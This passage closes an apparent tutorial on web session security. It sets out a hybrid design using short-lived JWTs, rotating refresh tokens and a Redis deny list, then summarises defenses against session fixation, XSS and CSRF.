The flow in practice:

  1. User logs in -- Auth server validates credentials, issues short-lived JWT access token + opaque refresh token
  2. API requests -- Each API server verifies the JWT locally (signature + claims), checks the deny list in Redis
  3. Token expiry -- Client sends refresh token to auth server. Auth server validates against database, checks user is still active, issues new tokens, rotates refresh token
  4. Logout -- Add access token JTI to Redis deny list (with TTL), delete refresh token from database, clear all cookies
  5. Emergency revocation -- Increment user's token version in Redis, which invalidates all access tokens on next verification

This architecture is more complex than either pure server-side sessions or pure JWTs, but each piece solves a specific problem. Short JWTs for scalability, opaque refresh tokens for revocation, deny list for immediate logout, and monitoring for detection. Security is layers. No single mechanism handles everything. But each layer is simple and well-understood. The complexity is in the composition, not the individual pieces. And when something fails -- because something always fails -- the layers limit the blast radius.


What You've Learned

  • Server-side sessions store data on the server with a random ID in a cookie; client-side tokens (JWTs) carry data in the token itself -- each has distinct tradeoffs for revocation, scalability, and security, and the choice shapes your entire architecture
  • Cookie attributes are critical defenses: HttpOnly blocks XSS cookie theft, Secure prevents HTTP exposure, SameSite mitigates CSRF, Domain scope should be as narrow as possible, and the __Host- prefix enforces all of these at the browser level
  • Session fixation tricks a victim into using an attacker-known session ID; the defense is to regenerate the session ID upon authentication and upon any privilege escalation
  • XSS can ride an existing session even when HttpOnly is set by making authenticated requests from the victim's browser context -- preventing XSS itself (output encoding, CSP, input validation) is the only complete defense
  • CSRF protection should be layered: SameSite cookies as the primary defense, synchronizer tokens or double-submit cookies as secondary, and Origin/Referer validation as supplementary
  • Sliding expiration keeps active users logged in without annoyance; absolute expiration limits maximum session lifetime -- use both together, with values appropriate to your application's risk level
  • JWT logout requires server-side mechanisms: token deny lists (small, auto-expiring), short expiration + refresh revocation (most common), or token versioning (enables mass revocation) -- each trades some statelessness for revocability
  • Refresh token rotation with reuse detection catches stolen tokens: if a used refresh token is replayed, revoke the entire token family and force re-authentication
  • Session storage backends have different failure modes: in-memory is fastest but volatile, databases are durable but slower, Redis is the production standard, and hybrid approaches satisfy compliance requirements
  • Concurrent session control and session monitoring (impossible travel, device fingerprinting, anomaly detection) add operational security layers that catch attacks that bypass preventive controls
  • The recommended production architecture is a hybrid: short-lived JWTs for stateless API verification, opaque refresh tokens for revocable session continuity, Redis for deny lists and token versioning, and a database for audit trails